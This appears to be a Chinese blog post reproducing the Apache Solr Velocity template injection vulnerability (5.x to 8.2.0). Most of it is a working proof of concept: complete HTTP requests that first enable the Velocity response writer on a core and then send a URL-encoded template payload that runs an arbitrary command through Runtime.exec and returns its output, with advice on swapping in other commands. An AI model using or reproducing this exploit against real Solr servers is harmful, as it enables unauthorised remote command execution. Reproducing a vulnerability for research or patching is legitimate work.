安装
下载
http://lucene.apache.org/solr/downloads.html
安装
注意
-
刚安装是没有Core值的需要手动添加
-
添加的时候会报如下错误需要手动把文件拷贝过来
复现过程
披露:
-
时间
2019-10-30
-
CVE编号
暂无
漏洞位置:
/solr/ascotbe/config/solr/ascotbe/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27calc%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
漏洞详情:
-
版本号
Apache Solr 5.x <= 8.2.0
-
描述
近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.经过亚信安全网络攻防实验室研究,发现该0day漏洞真实存在,并且可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁.
请求方式:
Get+POST
POC:
-
查看他里面存在了哪些
Core
,通过Core
来的自来构造POC
,特别是写脚本的时候需要注意这边的值是随机的/solr/admin/cores?wt=json&indexInfo=false
-
首先发送修改配置的包,注意这边的
/solr/core name/config
中的core name
为你在左边找到的值POST /solr/ascotbe/config HTTP/1.1 Host: 192.168.0.150:8984 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
-
执行命令,把
getRuntime().exec(%27calc%27)
中的calc
换成你需要执行的命令,注意Windows
和Linux
上执行的命令会有不同,写脚本的时候要区分GET /solr/ascotbe/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27calc%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: 192.168.0.150:8984 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
参考链接

版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论